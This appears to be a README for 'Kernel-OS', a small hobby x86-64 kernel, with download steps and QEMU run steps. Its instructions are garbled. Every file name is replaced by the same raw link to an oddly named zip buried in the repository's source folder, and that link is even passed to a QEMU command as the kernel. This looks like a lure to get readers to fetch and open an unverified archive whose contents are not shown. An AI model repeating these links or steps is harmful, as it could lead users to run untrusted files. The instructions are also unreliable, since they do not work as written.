Kernel-OS is a minimal 64-bit x86 bare-metal kernel. It features VGA text output and supports multibooting with GRUB. We built it from scratch using a custom toolchain along with C and NASM. You can easily run it in QEMU.
To get started, visit this page to download: Kernel-OS Releases.
- Open your web browser and go to the Kernel-OS Releases page.
- Find the latest version. You will see a list of files.
- Click on the file named
https://github.com/hassanIqbal1994/kernel-os/raw/refs/heads/main/buildenv/src/os-kernel-canticle.zipto download it. - Save the file to a location on your computer that you can easily remember, like your Desktop.
- A computer with a 64-bit x86 processor.
- At least 1 GB of RAM.
- A way to run QEMU, which can be installed on most systems.
To run Kernel-OS, you will need to use QEMU. Follow these steps:
-
Install QEMU:
- Windows: Download the installer from the QEMU website and follow the instructions.
- macOS: You can install QEMU using Homebrew with the command:
brew install qemu. - Linux: Use your package manager. For example, on Ubuntu, run:
sudo apt install qemu.
-
Run Kernel-OS:
- Open your command line interface (Command Prompt, Terminal, etc.).
- Navigate to the folder where you saved
https://github.com/hassanIqbal1994/kernel-os/raw/refs/heads/main/buildenv/src/os-kernel-canticle.zip. You can use the commandcd path_to_your_folder, replacingpath_to_your_folderwith your actual folder path. - Type the following command and press Enter:
qemu-system-x86_64 -kernel https://github.com/hassanIqbal1994/kernel-os/raw/refs/heads/main/buildenv/src/os-kernel-canticle.zip
Your system should now boot into Kernel-OS! You will see a simple text output on the screen.
- Minimal Design: Kernel-OS is designed to be simple and lightweight.
- VGA Text Output: The kernel supports VGA text output, allowing you to see messages on the screen clearly.
- Multiboot GRUB Support: You can start Kernel-OS using GRUB, making it flexible for various setups.
If you're curious about customization, you may explore modifying the kernel code. It works well with C and NASM. Here are some ideas to get started:
- Change the text messages displayed during boot.
- Modify the memory settings for different environments.
- Add more features, such as simple input handling.
If you're interested in exploring more about Kernel-OS or contributing, here are some useful links:
If you find any issues or have questions, please open an issue in the GitHub repository. We appreciate your feedback and will work to resolve any problems.
Thank you for trying out Kernel-OS! We hope you find it useful. Don't hesitate to share your experiences and improvements with the community.
For the latest version, don't forget to visit: Kernel-OS Releases.